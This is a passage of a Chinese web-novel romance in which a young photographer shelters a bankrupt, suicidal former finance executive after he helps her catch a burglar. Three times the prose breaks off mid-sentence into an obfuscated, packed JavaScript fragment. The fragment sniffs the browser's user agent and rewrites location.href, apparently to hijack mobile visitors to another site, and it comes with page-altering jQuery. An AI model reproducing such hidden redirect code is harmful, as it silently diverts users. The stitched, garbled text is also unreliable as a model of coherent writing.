唐霁没有立刻回答,而是反问道:“关你什么事啊?” “我……”周砚知没有勇气直接跟她说实话,委婉道,“我,见过。” 这也不算撒谎。 唐霁还是疑惑地盯着周砚知,但是并不怀疑他说的话。 这只兔子看着也不是什么限量款,他见过也不奇怪。 奇怪的是,这个人为什么这么关心这个挂件呢? “我爸送我的。” 唐霁还是选择告诉他,虽然她也说不清为什么要告诉他。 “你爸……”周砚知怔了怔。 唐霁住的这栋自建房楼龄不小,还是石米的外墙,墙上有一条条附着在水痕上生长的青苔。 磐石资本的vip客户总资产规模至少在一千万以上,如果她爸爸是磐石的vip客户,她却住在这样的地方,那…… “死了。” 还没等周砚知说完,唐霁就冷冷地回答了他的猜测。 没有悲痛,还带着一丝愠怒。 周砚知的惊诧凝固在脸上。 “他怎么……” “跟你一样。”唐霁冷冷地扫过去,看着周砚知说,“跳楼。” 周砚知滞愣住。 难道……她爸爸也是这次创盈基金暴雷的受害者? 可是,就算他有投创盈基金,就算亏损严重,但本身应该有足够的抗风险能力,应该不至于倾家荡产要走上寻死的路。 唐霁站起来,似乎不太想谈下去,只留下冷冷一句: “所以,我真的很讨厌你们这种动不动就要死要活的人。” 4. 第 4 章 第二天下楼时,唐霁还在想着,不知道那个男人还在不在呢? 她没有立刻打开大门,而是轻轻地打开一条缝,透过这条缝看向周砚知平时待的地方,没想到却看到一场鸡飞狗跳。 房东阿姨拿着一把扫把对着那个男人一边扫一边破口大骂:“要睡滚远些,别睡在我家门口!” 男人一只手提着西装外套,一边后退一边跳着脚躲避阿姨的扫把攻击。他被扫把赶得一蹦一跳的,脸上的表情却平静得像一汪死水,没有埋怨、没有生气,好像别人怎么对他都是应该的。 唐霁的心猛地提了起来,房东不知道这人有寻死意向,她这么粗暴地又赶又骂,万一把他那颗本就摇摇欲坠的玻璃心打碎了,他直接从这楼上跳下来可就麻烦了。 “阿姨!”她赶紧上前拉着房东,问道,“一大早干嘛这么生气啊?” “就是这个家伙!”房东拿着扫把指着眼前的周砚知,“长得人模人样,穿得光鲜亮丽,天天睡在这门口。我这栋楼住的都是年轻人,尤其是你们年轻妹子啊,回来得晚不得吓死啊!” 房东说前两天已经有几个小姑娘晚上下班回来被吓到了,跟她投诉。她今早过来一看,果然有个男人睡在楼下。 唐霁挺感激房东这么为她们着想,如果她不是知道这个男人的来历,也难免会害怕。 可是,她抬头瞥了一眼男人,他像只落水狗一样垂着头远远地站着,她又于心不忍。 “我前两天也看到他了,不过他就是在那里睡着,没干什么,你不用这么生气。” “哎呀阿妹,不是我说你,女孩子出门在外还是要多个心眼。他现在没干嘛,怎么知道以后会不会干嘛呢?也不知道他是不是在踩点啊?” 呃…… 唐霁还想说些什么,周砚知却主动开口,朝着两人微微鞠躬:“对不起,打扰了。” 说完,他也没抬起头,而是直接转过身,提着衣服一步一步地往外走去。 房东像一个打了胜仗的将军,雄赳赳气昂昂地把扫把往地上一杵,说:“阿妹,要是他再回来,你就告诉我,我再过来把他赶走。” “好啊。”唐霁礼貌地笑了笑,抬头看向周砚知的背影。 之前老想着让他别赖在这里,但是看到他真的要走,竟然又开始担心了。 “阿姨,先不跟你说了,我去上班了。” 唐霁来到早餐店,买了一个馒头一杯豆浆,掏出手机准备给钱,眼角不经意一瞥,发现那个男人并没有走远,在路口又坐了下来。 她终究是心软,说道:“老板,再给我一个馒头吧。” 唐霁拎着馒头和一瓶水,走到周砚知面前,蹲了下来,把东西放在他的腿上。 周砚知耷拉的眼皮似有千斤重,艰难地抬了起来,有些不解地看着眼前的女孩。 “你也看到了,你这样一直待在这里真的不行的。再说了,这么热的天,你身上都起味了。没饿死也被自己臭死啊,回家洗个澡吧。” 虽然周砚知说他没家了,但是唐霁看他这一身打扮和言行举止,爱干净、讲礼仪,在楼下待的这两天,边上是一点垃圾都没有。身上穿的衣服,每天都会整理得整整齐齐,宁愿把西装当垫布也不会直接坐在地上,有点很执拗又很可笑地坚守着什么东西。除了没法洗澡,身上沤出一股汗臭之外,他是真的很注重打理自己。 所以,她觉得,像他这种人,不会真的没家。估计就是和家里人闹别扭不想回家罢了。 男人也不知道听进去还是没听进去,他拿过馒头,轻轻点头,说:“谢谢。” 唐霁无声叹息,这人是句句有回应,件件没着落。 每次跟他好言相劝,他都说谢谢,回来后继续在这里干耗着。 唐霁今天只上半天班,过了午市就下班了。 下午两点多,她拎着两份炒饭出现。 之所以直接买两份,是因为她料定那男人没走,她又没法真的不管他,于是懒得再走一趟,直接买了两份饭回来。但她走到早上男人待的那个路口时,并没有看到他。 难道他真的想通了,回家了? 如果是这样也好。 那另一份饭就当晚餐啦。 可是没想到的是,唐霁刚走到拐角,又看到了熟悉的身影。 他这次坐在她楼下的斜对面。那里是前排屋子的后墙,不挡别人的正门。 呵,他不是走了,是给自己换了个地方。 也不知道是又被人赶了,还是学会了狡兔三窟。 唐霁直接将饭在他边上放下,什么都没说就上楼了。 她住在5楼,也是顶楼。其它楼层都是两户,不过顶楼其实就是个小阁楼,因此只有一户。她刚从四楼拐上来,双脚就立刻停下。 不对劲—— 她的房门虚掩着,留出了一条缝。 唐霁是自己一个人住的,而且她很肯定,早上她走的时候是锁了门的。 所以,最有可能的就是,家里进贼了。 她的心顿时提了起来,呼吸都减缓了。 现在比较麻烦的是,她不确定屋里还有没人。保险起见,她从包里掏出一瓶胡椒喷雾,握在手里,蹑手蹑脚地走上去。 走到家门口,她伸手想要推开门。 但是,她的手还没碰到门,门就唰地从里面打开了。 一个男人站在屋里,手里拎着一个军绿色的布包。 看到唐霁,他做贼心虚,一时也被吓得愣住。 唐霁赶紧看向屋内唯一值钱的地方—— 她的防潮箱。 里面本来放着她的相机和镜头的,但是现在箱门半开着,里面什么都没有了。 唐霁立刻看向男人手中的布包,里面鼓鼓囊囊的。 她来不及思考,只知道绝对不能让他将自己的相机偷走,于是伸手就想将包夺过来。 男人的反应比她更敏捷,侧身一闪,唐霁扑了个空。 对方想趁机溜走,唐霁立马直起身扯住他的布包,喊道:“别走!” 男人被拽住,转过身,看见唐霁对着他举起一个不知什么东西。他下意识地抬起另一只手用力地挥打过去,唐霁还来不及按,喷雾瓶就被打掉了。 他再趁机用力地将布包一拽,扯了回来,唐霁也被拉倒在地。 男人赶紧转身就跑。 唐霁也顾不上那么多,立马起身追了上去。 她一边跟着冲下楼,一边喊道:“有小偷!抓贼啊!” 可是,不知道是这个点屋里没人,还是其他人也害怕,一路都没有一个人开门帮她。 唐霁眼看着对方推开了一楼的大门就要往外跑。 完了完了完了,他要是跑出去了就更难追回来了。 唐霁加快脚步,紧跟着推门出去,在他身后大喊道:“抓贼啊!他偷了我的东西!” 坐在对面的周砚知刚好在吃饭,听见唐霁的声音,他抬头看着在眼前奔跑而过的小偷,下意识就将手上的蛋炒饭扔了上去。 小偷被这出其不意的攻击砸了个趔趄,等他回过神来,周砚知已经走到他面前,一把抓住他手上的布包,伸脚一勾将他放到在地,将他拿布包的手扳到身后,用力一扯将包夺了过来。 周砚知回头看向在一边看呆了的唐霁,将包递了过去,问道:“是这个吗?” “我看看。”唐霁赶紧上前接过,打开包一看,果然是她的相机和镜头,“是,都在这。谢谢!” 周砚知看向被他按在地上的小偷,问道:“这人怎么办?” “我报警。”唐霁立刻掏出手机说道。 “别别别!别报警!”小偷一听到唐霁说要报警,忙不迭地求饶道,“我是第一次干这事,我也是迫于无奈啊,上有老下有小,我是为了养家。我发誓,再也不干了再也不干了!我要是坐牢了,我小孩就饿死了。” 唐霁拿着手机,停住了,和周砚知对视了一眼。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372011|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还没确定该怎么办,小偷感觉到压在身上的力有所松泄,趁机用力一挣扎,直起身朝周砚知的腹部重重踢了一脚。 周砚知后悔自己刚才的一时心软让他逮着了机会,他也不顾上疼痛,快步上前想要重新拿下他。他刚扯住对方的手臂,不料,对方一个转身,不知从哪里掏出一把折叠刀,直勾勾地对着他划过来。 周砚知已经及时后撤躲闪,还是不慎被刀尖划伤胳膊。他还想追上去,唐霁却及时抓住他,制止道:“算了算了。” 那人有刀呢!被逼急了也不知道会干嘛。 见当事人也不追究,周砚知也没理由追上去。 “嗯。”他轻轻点点头,不忘关心道,“你没事吧?” “我没事!倒是,你都受伤了!”唐霁指着周砚知的手,后者扭头查看,伤口看着不算严重,也就三五厘米,伤得也不算深。他无所谓地说,“没事,就一道小口子。” 唐霁还是担心:“伤口虽然不大,但是毕竟是被刀具划伤,不知道会不会破伤风或者其它细菌感染,不行,还是去医院看下吧。” “不用!”提到去医院,周砚知很抗拒,想都没想就拒绝了。 他转身,想要弯腰捡起被他扔在地上的蛋炒饭。 刚弯下身子,他就疼得“嘶——”了一声,捂住腹部,无奈又直起身。 “你怎么样了?”唐霁想起,刚才他还被那个小偷踢了一脚,“是不是刚才被踢伤了?” “小事而已,休息下就好。”说完,他又想尝试弯腰去捡起那个饭盒。 唐霁看不过,伸手将他扯回来,说道:“哎呀,别要了,我再给你买一份!” 周砚知回头看着她,解释道:“我不是要吃,我只是想收拾干净。” 唐霁:“……” 唐霁将手上的布包塞到周砚知的怀里,说:“你拿着,我收拾。” “扑通!”她将地上的剩饭装进饭盒,扔到路口的垃圾桶,刚转过身,就看见周砚知站在这条陈旧的巷子中间,低垂着的手拎着一个乌糟糟的布包,另一只手按住胳膊上的伤口,鲜血顺着手臂一路留下,钻进他蜷着的指缝。 经过刚才这么一通折腾,他的头发有些凌乱。这两日的饥饿、脱水、睡眠不足让他眼窝有点深。身上那套质地精良的衬衫和西裤虽然乱糟糟的,但仍然倔强地包裹着男人的尊严。 被屋顶折叠过的阳光落下,斜斜地擦过他的身体,将他身体一分为二,一半陷入了阴影,另一半被光攫住,在光影交界处浮浮沉沉。 虽然很不合时宜,但她忍不住叹道,好美的画面啊! 脑海里自动脑补了一个帅强惨的男人,被逼入绝境想要就此沉沦,但潜意识又下意识求救,满满的破碎感和故事感! 可是相机在对方手上。 嗐! 就算回去拿了相机回来拍,也没有了这一瞬的感觉了。 摄影于她而言,就是刹那的触觉。 她略略失望地走过去接过周砚知递过来的包,双眼不放心地看向周砚知还在淌血的伤口,又劝说道:“要不你还是去医院看下吧。” “不用。”周砚知断然拒绝,脚步蹒跚地回到屋后墙角下。由于腹部疼痛,他只能先靠在墙上,再让身体缓缓滑下。脸部的五官被疼得狰狞起来。 唐霁真是没见过这么犟的人。 “你就想在这里把自己耗死吗?你要是把自己搞得一身血地死在这里,你让这里的人怎么住下去啊!” 周砚知似乎也明白会给别人带来麻烦,他抬头看向唐霁,解释道:“我不想去医院。” 去医院,要报自己的身份,他不想。 唐霁有些无奈,挠了挠头,说:“你不想去医院,那你好歹跟我上楼处理一下伤口吧。” 周砚知以为自己听错了,疑惑地看着唐霁。 “毕竟你也是因为帮我而受伤的。” 唐霁有些别扭地说,“我得对你负责,不能见死不救啊!” 5. 第 5 章 唐霁推开门率先走了进去,回头对周砚知说了一句“进来吧”。 周砚知跟在她身后,刚走进去就闻到屋内有一股淡淡的香味,和她身上的味道很像。他扫了一眼这个屋子,是一个单间,面积很小,大概也才二三十平。屋内陈设简单,但是整洁又别致。特别的是,床尾的斗柜上还有一个透明的长方形笼子,里面放着木屑和一个跑轮,是一个仓鼠笼。 屋子外面是一个很大的天台,有几盆蓝色的小花在阳光下轻轻摇曳。光线透过绿色的玻璃窗和阳台门照进来,将阳光也染上了一层绿色,让这个房间有一种平静、舒服的安宁感,又有一种不属于这里的别扭感。 唐霁把手上的包放桌子上,直接走到柜子上拿过一个收纳箱开始在里面翻找,嘴里念道:“酒精、碘伏、纱布……”她手里拿着这三样东西,不太确定地回头看向周砚知,问道,“够吗?” 周砚知看过去,也不确定,但点点头,说:“够吧。” “行。”唐霁将手里的东西塞到周砚知怀里,说,“你自己处理一下吧。” 说完,她就赶紧打开从那个小偷那里抢回来的包,将里面的相机拿出来,左翻翻右翻翻,仔细检查外观,开机,举起相机随手按了一下快门,埋头检查拍出来的画质。 周砚知的伤口还在渗血,袖子被染红了一大片,但是他却抱着唐霁给她的药,怔怔地看着她。唐霁将手里的相机翻来覆去地摆弄,他便无意中看到了相机上的“LEICA”标志。他对摄影没研究,但他知道这个牌子。 不便宜。 唐霁将相机前前后后里里外外地检查了一遍,确认没有损坏后,才终于松了一口气:“还好。” 一抬头,便撞上周砚知的目光。 “你怎么,还不处理伤口啊?” “我……”周砚知低头看了一眼手上的东西,“我……” “不会?”唐霁试探地问道。 周砚知不好意思地点点头:“嗯。” 巧了,唐霁也不会。 她“啧”了一声,把相机放下,掏出手机,搜索:“被刀具划伤胳膊,自己应该如何处理?” “过来。”唐霁揪着周砚知的袖子,扯着他打开天台的门。 这种上了年纪的自建房,格局都比较奇怪。况且这个房子是一个天台阁楼,厨房和洗手间建在天台外,唐霁将他拉到洗手台旁,顿时又有点手忙脚乱。 “要先止血……”她有点为难地看着周砚知,“你是脱衣服,还是……” “把这袖子剪开吧。”周砚知选择了唐霁还没说开口的第二个选择,在一个陌生女孩面前脱衣服也太冒昧了。 “剪开?你这衣服不要啦?” “没关系,剪吧。” 唐霁找到剪刀,直接将他半边袖子都剪了下来,露出了鼓起来的肱二头肌。手臂的肌肉紧绷,突起的青筋像青藤一样虬在上面,有一种属于男性力量的美感。 不过唐霁没有忘记她眼下的正事,很快就收回目光,抬高他的胳膊,用干净的纱布轻轻地按压,直到不再渗血了,才拿起生理盐水给他冲洗伤口。 她动作有些生涩,一步步对照着网上的步骤操作,花了大半个钟才完全包扎好。 “还有你肚子,你刚刚是被踢了一脚吗?要不要也处理一下?” “不用……”周砚知觉得自己没那么娇弱,休息下就好了,但是唐霁已经拿起手机开始搜索:“被踢到肚子应该怎么处理?” “有了!”唐霁看着网页上出来的处理方法,“24小时内是冷敷。” “你等等,我去拿冰!” 周砚知:“……” 好像根本没有能让他开口制止的机会。 唐霁拿来一个保鲜袋,在里面装上冰块,裹上一条新毛巾。 看见周砚知还迷茫地站在天台外,她探出头:“你还站那里干嘛,进来!” 周砚知只好走进去,唐霁一把将他按在凳子上,说:“坐好。”然后将裹着冰块的毛巾递给他,说:“可能有点咯人,家里没有冰袋,只有冰块。” 周砚知接过,说:“没事。” 要冷敷得把衣服掀起来,他抬眸看了唐霁一眼,后者还站在他面前关切地看着他,似乎时刻准备在有需要时搭把手。 对上他看过来的眼神,唐霁才忽然意识到什么,迅速转过身说:“还是你自己来吧。” 周砚知看着她转身拿起桌上的相机和镜头,依次放回一个柜子里。柜子通体黑色,看着跟个大号保险柜一样,不过很明显不是,门是透明玻璃做的,上面还有度数显示。他猜测应该是专门放摄影器材的设备。 偷窥别人并不太礼貌,他很快收回视线,低头掀起自己的衣服,将冰袋敷在刚刚被踢的地方。冰块棱角分明,确实咯人。腹部本身的疼痛,加上冰块冰感十足的棱角,刺激感更强。周砚知忍不住轻轻蹙眉,闭上眼睛。 “哇!” 黑暗中,他听到女孩一声惊呼,猛地睁开眼,唐霁已经蹲在他面前。 猝不及防的,他的耳根一秒蹿红。 他紧张到结巴:“怎,怎么……” “你有腹肌!”唐霁像发现新大陆一样抬起一双澄亮的眼睛看着周砚知。 周砚知耳根的红晕一路蔓延至脸颊,跟着火了一样。 他还不知道怎么应对,就听到眼前的女孩问:“我可以摸吗?” 块垒分明的肌肉紧紧地嵌在腰腹处,线条流畅,绷紧的肌肉像拉满的弓弦。 冰块的冷凝水顺着肌肉的纹理滚落,汇入人鱼线,沿着腰腹沟壑一路没入西裤边缘。 “我还是第一次这么近距离看到这么好看的腹肌。” 简直就是照片上的男模特来到眼前。 周砚知:“……” 这样,好像不太好吧。 他闭上双眼,想要委婉地拒绝对方。但,她救了他一命,又请他吃了那么多顿饭,而且…… 唐霁被阳光照得浑身发光的样子在黑暗中浮现,她刚刚看着他的眼睛那么清澈透亮。 充满着渴望。 “可以。”不知被什么蛊惑了,周砚知听到一道熟似自己的声音应道。 很快,腹部贴上来一个柔软又略带冰凉的指尖,像刚才冰块的棱角咯在肚子上,但身体的反应却比刚才更加敏感,整个下腹立刻绷紧。 周砚知的眉头拧得更紧。 “我还是第一次摸男人的腹肌。” 唐霁的指尖轻轻地在周砚知的腹部游走,感受着肌肉的纹理、硬度以及线条的走向,心里不禁感慨,他的腹肌恰到好处,不会像健身室那些肌肉男一样油腻,薄薄的一层,却又紧致有肉。手指划过时,能感觉到每一块肌肉轻微的跳动,很精准地戳在她的审美上。 以前她看不上那种“卖肉”的照片,现在却不得不承认,一具完美的身体真是绝佳的光影载体,她已经在考虑什么样的角度能够最精准地展现这种肌肉的层次和张力。 周砚知仍闭着眼睛,紧张到感觉腹部的每一寸肌肉都在微微颤抖。 实不相瞒,他也是第一次被女孩子摸腹肌。 够了吧,好像也摸太久了,再摸下去…… 他正想开口制止她,就听到对方问道:“我可以拍吗?” 周砚知:“……” 这实在是,过分了点吧? 他睁开眼睛,有些不解地看着唐霁。 后者马上指着身后那个黑箱子解释:“我是摄影师,这类照片近期需求量很大。” 唐霁是国内一家商业图片网站视界的签约摄影师,平时除了做兼职,接商拍外,也会针对网站的需求拍摄照片进行售卖。勤快点的话,每个月的收入也差不多能覆盖房租。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372012|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 上周她收到平台发来的近期平台热门图片类别,其中一种就是高质量男性照片,包括商务精英打扮、男性健硕的身材等。 理由是挺充分的。 周砚知再次阖上眼睛,深呼吸一口气,他心里是不愿意的。 但是,这个女孩对他的帮助,他无以回报,只能以身相许。 “不要露脸。”这是他最后的底线。 “OK!”唐霁应道,“不过……” 她的双脚缓缓后退,退到一个安全距离,伸出一根手指横在鼻间,说:“你要不先去洗个澡?你身上的味真的挺大的。” 周砚知的耳根红得越来越厉害:“……” 如果可以时间倒流,他希望回到两天前,在遇到这个女孩前,赶紧跳下去。 唐霁从衣柜里拿出一套男装,版型宽松布料廉价的T恤上衣和一条工装短裤塞到周砚知怀里,“还好家里刚好有衣服。” 说完,她还抽出一条男性内裤,在周砚知腰部比了一下,说:“应该适合你穿。” 找完衣服,她又跑到门口的鞋架上拿来一双粉红色拖鞋,说:“可是拖鞋你就只能穿我的旧鞋了,可能会有点小。” 周砚知双手僵硬地搂着这几件衣服,心里莫名酸酸涩涩的,他轻咳一声,不经意地问道:“这是你男朋友的衣服?给我穿是不是不太好?” “不是。”唐霁突然笑了起来,摆摆手解释道,“不是不是,这都是新的,我买来吓唬人的。”她转身指着外面的天台,“我买了两套男装,每天轮流挂外面。” 她解释道,这里是城中村,外来人口多,治安一直不太好。 她遇过半夜有人拧她的房门,也遇过明明没点外卖却有人敲门说送外卖并坚持要她开门。这片区房子密集,楼间距低,而且她住的这栋楼高度还比周围明显矮一两层,基本没有什么私密性。 为了防止有心之人,她从网上学到在阳台挂男人的衣服,假装屋里有男人同住。没想到,还是避免不了这次的入室盗窃。 周砚知的心莫名地一梗。 既然她爸爸曾经是磐石的vip客户,就算不在了,也不至于让自己的女儿沦落到住在这种环境这么差的地方吧? 但磐石这几年发展很快,vip客户数量增加了几倍,首批客户中也有一些后期没再找他们投资的。他没法仅通过跳楼自杀这一点就猜出她爸爸是谁,他也就没法知道她爸爸是为什么自杀? 投资失败?倾家荡产?所以他死后连一点钱都没留给她?那她的其他家人呢? 可是,这些问题直接问出口都太过冒昧了。 周砚知只好提醒她,“你这锁最好还是换一个。既然他能开一次,肯定也能开第二次。” 唐霁顿时紧张起来:“你是说,他还有可能回来?” “说不定。如果他确定你是自己一个人住,这次没得手还吃了瘪,又知道你屋里有贵重东西,再回来偷也说不定的。” 唐霁皱起眉头,害怕地问道:“那怎么办啊?” 他没什么可以帮她,只好尽他所能,说道:“你放心,反正我就待在楼下。我会帮你留意,如果那人再回来,我帮你赶走他。你有什么事,也可以找我。” 唐霁眨了眨眼,有些意外地看着他。 “你都这样了,还要睡楼下啊?” 周砚知尴尬一笑:“不然,我也没地方去了。” “可是,如果那小偷有可能会再回来偷我东西,他会不会也有可能找你报复啊?你睡下面不也很危险吗?” 周砚知低着头,微微一笑,浅浅弯起的嘴角泛着苦涩。 “我还好,反正我是男的,反正……” 他没什么好眷恋的,也就没什么好害怕的。 “要不……”唐霁咬了咬唇,仿佛下了很大的决心说道,“要不你先睡我这里吧?” 6. 第 6 章 周砚知猛地抬起头,双眼看向屋内仅有的一张床,喉结一滚:“睡,你这里?” 怎么睡? 唐霁注意到周砚知的目光,突然意识到自己刚才的话确实容易引人误会。 她赶紧指着房间的另一端解释道:“不是,我还有张沙发!” 两人同时看向这屋里唯一的一张沙发。 沙发很小,是一张小型的双人沙发,就算是唐霁睡过去,也不一定能完全伸展开。周砚知目测自己起码高她大半个头,估计睡上去半只脚要挂在外面。 当然,他也没什么好挑剔的,这怎么也比睡楼下要舒服的。 只是…… 她这个房间是一个单间,而他是个男的,怎么也不合适一起住。 他委婉地拒绝道:“谢谢你的好意,不过真的不用了。” “你是不是觉得这个沙发太小了?呃……”唐霁苦恼地低头咬手指,似乎在想办法。 周砚知不想为难她,说:“不是。我怕麻烦你。” 他抱着衣服准备往天台走去,说:“真的很感谢你,不过我还是洗过澡就离开吧。” “诶!”唐霁赶紧叫住他。 “嗯?”周砚知转身。 “其实……”唐霁支支吾吾地坦诚道,“是我自己有点害怕。” 周砚知一怔,突然意识到自己的迟钝,不免懊恼。 她之前遇到的都还只是在门外试探,这次是真的闯进了房子。而且他刚才还说对方有可能去而复返。她毕竟是个女孩子,又是自己一个人住,害怕是自然的。 他竟然没听懂她的言外之意,还这么无情地拒绝她。 可是,和她住在一起还是有点冒犯了。 “这样吧。”周砚知看着外面的天台,这个天台很大,比她屋内的空间还大,还搭了一个透明的雨棚,“你这天台挺好的,不介意的话,我能把沙发搬到这里睡吗?” “啊?”唐霁缓缓瞪大眼睛,不太肯定地问道,“睡天台?” “嗯,怎么都比睡在楼下好。” 唐霁神情终于舒展开:“当然可以啦!你都不介意,我更加没问题啦。对了!我还有一顶帐篷,如果你觉得沙发太小,可以睡帐篷,假装在家里露营,之前不还挺火的嘛?” “可以,都行。”看着唐霁高兴的样子,周砚知也忍不住笑道,“那我先去洗澡了。” “嗯!”唐霁应道,说,“浴室里的洗面奶沐浴露洗发水你都可以用。” 趁着周砚知去洗澡的时间,她很听劝地打电话找了人过来换锁,一下子又散去了200块。她心疼地告诉自己,破财挡灾破财挡灾。 扫码付款给换锁师傅后,唐霁回过头发现周砚知已经洗好澡乖乖地坐在椅子上,身上隐隐萦绕着一股和她相似的味道。 他用的是一次性毛巾,吸水性一般,湿漉漉的发梢上还坠着水珠,将两侧的领口都打湿了。褪去了衬衫西裤,换上宽松的T恤,竟然还有一股男大学生的味道。 “这套衣服还挺适合你穿的。” “嗯,还行……就是有点紧。” “紧吗?”唐霁疑惑地打量着他,这么宽松的衣服怎么会紧呢? “哪里紧?” 周砚知意识到自己说错话了,搪塞道:“不要紧。” “那你明天自己再去买一套新的吧,我当时也是随便买的。” 唐霁想着周砚知之前穿的那套西服多贵啊,肯定是看不上她这套衣服的。 既然说到这个话题,她黑盈盈的双眼看向周砚知,眼里的光闪着算盘的“啪啪啪”声。周砚知莫名感觉到一股不祥预感,倏地坐直了。 “我叫唐霁,你叫什么名啊?” 周砚知张嘴,“周”字马上都要脱口而出了,他又顿了顿,敛神说道:“阿砚。” “阿yàn?怎么听起来有点女生气?哪个yàn啊?” “笔墨纸砚的砚。” “哦!”唐霁了然,“那你的名字还挺文气的,全名叫什么啊?” 周砚知抿唇,他不确定唐霁是否听过自己的名字,他还不想将自己的身份告诉她。而且她会对他好,估计是因为还不知道他是谁。 如果她知道了…… 他不敢想,抿了抿唇,说道:“就阿砚。” 唐霁蹙了蹙眉看着他:“你没姓吗?” 周砚知坚持:“没有。” 唐霁:“……” 行吧,不重要。 她直接进入正题:“阿砚,既然你接下来会在这里住一段时间,那么我们有些问题还是要事先说清楚的。” 周砚知理解,点点头说:“明白,你说。” “房租呢,我就不收你的了。”毕竟是她主动邀请人家住下,也不确定他住多久,可能住一两天就回心转意想回家了。而且他住的还是天台,唐霁也不好意思让人分摊房租,“但是,吃饭啊、日用品这些我们还是要A的。” 周砚知脸色忽地一僵,双唇不自觉抿紧,缓缓垂下头。 唐霁见状,心里七上八下的,不知道他是怎么想的。 “你要明白,我真的很公道了。你要是还睡楼下,肯定会被房东赶的,我让你住这里,已经不收你一分钱了。吃穿用,你总该自己出钱吧。我真养不起你。” 再说了,她也没有养他的义务。 “我明白。”周砚知的脸绷得紧紧的,艰难地说道,“只是,我没钱。” “你没钱?”唐霁蹙起眉头,双眼上下来回了好几圈打量着他,这人长得人模人样的,该不会想当小白脸吧?身上穿着几万一套的西服在这里跟她装穷,她不耐地说,“哎呀,说得谁有钱一样,我也没钱啊!” 周砚知双拳缓缓地攥紧,仿佛在用力攥着自己那一文不值的自尊心:“我是真没钱。” “你的意思是……你一分钱都拿不出?” 周砚知缓缓地点点头,头顶似有千斤重:“嗯……” 唐霁几乎要气撅过去,双眼往后一翻,险些晕过去了。 这么说,她这是引狼入室,亲手给自己招了个小白脸回来? “你……没存款?没工作?”唐霁不敢相信地问道。 周砚知不想跟她解释这件事,他也不好让唐霁为难。不管怎样,他不至于沦落到要靠一个女孩子养着的地步,他唰地站起来:“打扰了,我还是走吧。” “你坐下!”唐霁扯住他的袖子把他扯回凳子上,说,“算了!先欠着!” 她算是明白他为什么想死了。他不是不想活,是根本没法活下去了。但是,谁没艰难的时刻呢?她总不能因为三餐饭的事真的把他赶出去,让他流落街头饿死自己吧。 唐霁从桌子上拿过一本笔记本,说:“这样吧,这是你的账本!之前的就不算了,但是之后你在这里吃的住的我都会记下来,你以后要记得还我!” 周砚知双眼落在那本笔记本上,看着自己又多出一笔债务,沉默不语。 他不是想赖账,他只是不确定自己是否还有机会还她。 唐霁有点着急,手扣在桌子上“咚咚咚”地敲了几下:“听到没有。” “嗯。”周砚知还是点点头。 折腾一下午,唐霁午饭还没吃,现在又差不多到晚饭时间了。 她拿过手机,看向对面的人,问道:“你应该也饿了吧,中午那份饭你好像也没吃多少,今晚想吃什么?” “随便。” 唐霁抬眸瞥了他一眼,看到他又一副死样,想到他刚才提起钱的那副为难样子,无奈地说:“算啦算啦,这顿算我请你,你随便点。” “不是……不是这个问题。”周砚知赶紧解释,“我不挑食。” “那……”唐霁的手指快速地在手机屏幕上滑过,问,“能吃辣吗?” 周砚知点点头:“能。” “那我们就吃麻辣香锅吧。” …… 天边染上了一层淡紫色的霞光时,唐霁坐在餐桌旁,拉开可乐拉环,对着周砚知说:“干杯!庆祝我们——” 周砚知的手也拿着可乐,和唐霁手中的可乐碰在一起,双眼看着她,等着听她说出庆祝的话语。 唐霁却一时语塞,冥思苦想片刻,说道:“庆祝我们今天有大餐吃!” 说完,她抬眸看了周砚知一眼:“也庆祝你,不用再露宿街头。” 周砚知的嘴角不自觉地向上轻扯了一个微小的弧度,点点头,说:“嗯,值得庆祝。” “也庆祝——”唐霁的头一歪,继续说道,“庆祝我有惊无险,失而复得。干杯!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372013|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周砚知失神地看着唐霁,没有发现自己的嘴角被旁边的人传染了,始终挂着一抹浅浅的笑。自从创盈基金暴雷以来,他还是第一次笑。 他不知道两人算不算苦中作乐,但他总觉得这个不够贴切。 苦中作乐,有一层自欺欺人的意思。 但是,眼前这个女孩,好像是真的快乐。 她似乎并不觉得眼前这一切很苦。 明明今天遭遇了小偷,但只要一顿稍微丰盛一点的晚餐就足以让她开心,让她觉得可以庆祝。 她有一种好像生活无论怎样都能活得很开心的魔力。 像是墙角的小草,像是废墟的野花,在最贫瘠的地方也能肆意生长。 这让他很羡慕。 饭后,唐霁从床底下的收纳箱拿出一顶帐篷,和周砚知一起支起来,又从房间搬出一台风扇,给他搭起一个露天卧室。 周砚知就将帐篷放在天台门旁边,说:“你放心睡吧,我在这里守着。” 颇有一种一夫当关万夫莫开的气势。 唐霁突然就安心了几分。 她回到屋内,锁上门窗,拉起窗帘,室内外的视线就彻底被隔绝开了。 关灯躺在床上后,尽管今晚好像和以往的每一天都一样,但她很清楚不一样。 一墙之隔的天台外,多了一个男人。 